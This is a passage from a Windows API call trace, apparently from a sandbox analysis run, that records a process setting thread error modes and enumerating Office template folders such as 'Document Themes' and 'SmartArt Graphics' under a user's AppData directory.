(dwNewMode=0x0, lpOldMode=0x1e1dca20) returned 1 [0214.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0214.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc2a0) returned 1 [0214.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc260) returned 1 [0214.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0214.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc2a0) returned 1 [0214.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc260) returned 1 [0214.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dbbb0) returned 1 [0214.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbae0) returned 1 [0214.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbaa0) returned 1 [0214.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dbbb0) returned 1 [0214.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbae0) returned 1 [0214.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbaa0) returned 1 [0214.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1db3f0) returned 1 [0215.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1db320) returned 1 [0215.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1db2e0) returned 1 [0215.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1db3f0) returned 1 [0215.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1db320) returned 1 [0215.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1db2e0) returned 1 [0215.126] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dbbb0) returned 1 [0215.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbae0) returned 1 [0215.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbaa0) returned 1 [0215.128] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dbbb0) returned 1 [0215.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbae0) returned 1 [0215.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbaa0) returned 1 [0215.128] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1db3f0) returned 1 [0215.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1db320) returned 1 [0215.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1db2e0) returned 1 [0215.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1db3f0) returned 1 [0215.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1db320) returned 1 [0215.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1db2e0) returned 1 [0215.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dbbb0) returned 1 [0215.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbae0) returned 1 [0215.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbaa0) returned 1 [0215.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dbbb0) returned 1 [0215.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbae0) returned 1 [0215.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbaa0) returned 1 [0215.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dbbb0) returned 1 [0215.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbae0) returned 1 [0215.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbaa0) returned 1 [0215.143] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dbbb0) returned 1 [0215.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbae0) returned 1 [0215.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbaa0) returned 1 [0215.143] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1db3f0) returned 1 [0215.146] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1db320) returned 1 [0215.146] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1db2e0) returned 1 [0215.146] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1db3f0) returned 1 [0215.148] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1db320) returned 1 [0215.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1db2e0) returned 1 [0215.149] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0215.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc2a0) returned 1 [0215.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc260) returned 1 [0215.156] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0215.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc2a0) returned 1 [0215.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc260) returned 1 [0215.158] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dbbb0) returned 1 [0215.422] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96e30af9, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96e30af9, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96e30af9, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.423] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96e30af9, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96e30af9, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96e30af9, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0215.423] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96e30af9, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96e30af9, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96e30af9, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0215.423] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.423] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbae0) returned 1 [0215.423] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbaa0) returned 1 [0215.423] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dbbb0) returned 1 [0215.423] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes", nBufferLength=0x105, lpBuffer=0x1e1db690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes", lpFilePart=0x0) returned 0x5d [0215.423] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\user\\document themes\\*"), lpFindFileData=0x1e1db8c0 | out: lpFindFileData=0x1e1db8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96e30af9, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96e30af9, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96e30af9, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.424] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96e30af9, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96e30af9, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96e30af9, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.424] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96e30af9, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96e30af9, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96e30af9, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0215.424] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0215.424] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.424] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbae0) returned 1 [0215.424] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbaa0) returned 1 [0215.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1db3f0) returned 1 [0215.425] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033", nBufferLength=0x105, lpBuffer=0x1e1daed0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033", lpFilePart=0x0) returned 0x62 [0215.425] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\user\\document themes\\1033\\*"), lpFindFileData=0x1e1db100 | out: lpFindFileData=0x1e1db100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96e30af9, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96e30af9, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96e30af9, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.425] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96e30af9, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96e30af9, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96e30af9, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.426] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96e30af9, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96e30af9, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96e30af9, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0215.426] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.426] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1db320) returned 1 [0215.426] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1db2e0) returned 1 [0215.426] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1db3f0) returned 1 [0215.426] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033", nBufferLength=0x105, lpBuffer=0x1e1daed0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033", lpFilePart=0x0) returned 0x62 [0215.426] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\user\\document themes\\1033\\*"), lpFindFileData=0x1e1db100 | out: lpFindFileData=0x1e1db100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96e30af9, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96e30af9, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96e30af9, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.426] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96e30af9, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96e30af9, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96e30af9, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.427] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96e30af9, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96e30af9, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96e30af9, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0215.427] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1db320) returned 1 [0215.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1db2e0) returned 1 [0215.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dbbb0) returned 1 [0215.427] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics", nBufferLength=0x105, lpBuffer=0x1e1db690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics", lpFilePart=0x0) returned 0x5f [0215.427] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\user\\smartart graphics\\*"), lpFindFileData=0x1e1db8c0 | out: lpFindFileData=0x1e1db8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96e30af9, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96e30af9, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96e30af9, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.428] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96e30af9, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96e30af9, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96e30af9, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.428] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96e30af9, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96e30af9, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96e30af9, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0215.428] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96e30af9, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96e30af9, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96e30af9, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0215.428] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbae0) returned 1 [0215.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbaa0) returned 1 [0215.429] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dbbb0) returned 1 [0215.429] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics", nBufferLength=0x105, lpBuffer=0x1e1db690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics", lpFilePart=0x0) returned 0x5f [0215.429] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\user\\smartart graphics\\*"), lpFindFileData=0x1e1db8c0 | out: lpFindFileData=0x1e1db8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96e30af9, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96e30af9, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96e30af9, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.429] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96e30af9, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96e30af9, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96e30af9, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.429] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96e30af9, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96e30af9, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96e30af9, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0215.430] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0215.430] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.430] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbae0) returned 1 [0215.430] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbaa0) returned 1 [0215.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1db3f0) returned 1 [0215.430] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033", nBufferLength=0x105, lpBuffer=0x1e1daed0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033", lpFilePart=0x0) returned 0x64 [0215.430] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\user\\smartart graphics\\1033\\*"), lpFindFileData=0x1e1db100 | out: lpFindFileData=0x1e1db100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96e30af9, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96e30af9, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96e30af9, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.431] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96e30af9, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96e30af9, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96e30af9, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.431] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96e30af9, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96e30af9, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96e30af9, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0215.431] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1db320) returned 1 [0215.432] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1db2e0) returned 1 [0215.432] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1db3f0) returned 1 [0215.432] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033", nBufferLength=0x105, lpBuffer=0x1e1daed0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033", lpFilePart=0x0) returned 0x64 [0215.432] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\user\\smartart graphics\\1033\\*"), lpFindFileData=0x1e1db100 | out: lpFindFileData=0x1e1db100*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96e30af9, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96e30af9, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96e30af9, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.432] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96e30af9, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96e30af9, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96e30af9, ftLastWriteTime.dwHighDateTime=0x1d705ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.432] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db0c0 | out: lpFindFileData=0x1e1db0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96e30af9, ftCreationTime.dwHighDateTime=0x1d705ee, ftLastAccessTime.dwLowDateTime=0x96e30af9, ftLastAccessTime.dwHighDateTime=0x1d705ee, ftLastWriteTime.dwLowDateTime=0x96e30af9, 